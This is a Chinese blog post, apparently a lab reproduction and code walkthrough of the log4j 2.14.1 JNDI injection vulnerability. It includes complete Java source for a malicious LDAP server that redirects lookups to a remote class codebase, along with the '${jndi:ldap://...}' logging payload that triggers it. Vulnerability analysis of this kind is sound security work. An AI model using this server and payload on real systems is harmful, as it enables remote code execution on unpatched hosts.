log4j JNDI 注入分析

环境搭建

依赖:

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>4.0.9</version>
    <scope>test</scope>
</dependency>

ldap server :

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class Server {
    private static final String LDAP_BASE = "dc=ldap,dc=Log4j,dc=com";

    public static void main (String[] args) {
        // 恶意class文件存放url
        String url = "http://127.0.0.1:8000/#evil";
        // ldap 服务器端口号
        int port = 1234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

测试代码:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class test {
    private static final Logger logger = LogManager.getLogger(test.class);

    public static void main(String[] args) {
        String str = "${jndi:ldap://127.0.0.1:1234/evil}";
        logger.error("params:{}",str);
    }
}

漏洞分析

官方文档介绍log4j提供很多lookups,也正是因为它支持jndi的方式所以造成了该漏洞。

log4j JNDI 注入分析

log4j JNDI 注入分析

 

 

接下来,下断点跟进,直到 org.apache.logging.log4j.core.lookup#Strsubstitutor.replace方法,跟进调用的 substitute(event, buf, 0, source.length())

log4j JNDI 注入分析

 

函数简介说明,该函数可以解析文本中包含变量的值,往下走

log4j JNDI 注入分析

 

 发现 isMatch(chars, pos, offset, bufEnd)

log4j JNDI 注入分析

 

 这是一个做字符串匹配的函数,chars[]的内容和buffer的匹配就返回chars[]的长度

log4j JNDI 注入分析

继续往下跟,直到 resolveVariable(event, varName, buf, startPos, endPos) (中间的过程很漫长,需要点耐心,一直在处理字符串)

log4j JNDI 注入分析

 

中间没什么特别的操作

log4j JNDI 注入分析

 

 跟进 lookup(event, variableName),看一下这个lookup是不是我属性的jndi常用的lookup

log4j JNDI 注入分析

 

 log4j JNDI 注入分析

看到程序走到 return (T) this.context.lookup(name) 弹出计算器

log4j JNDI 注入分析

再看看context的定义是我们所熟知的 javax.naming.Context就一目了然了

log4j JNDI 注入分析

最后

本文复现环境 jdk8u11

换一个高版本的jdk,ldap协议就不行了,因为不再支持加载远程class

下图使用jdk8u301,看到ldap server收到请求,但是不会弹出计算器了

log4j JNDI 注入分析

这同样也就解释了,为啥dnslog收到了请求,却打不了的情况~

log4j JNDI 注入分析

 

 

 

上一篇:log4j2 漏洞解析


下一篇:STF平台搭建及二次开发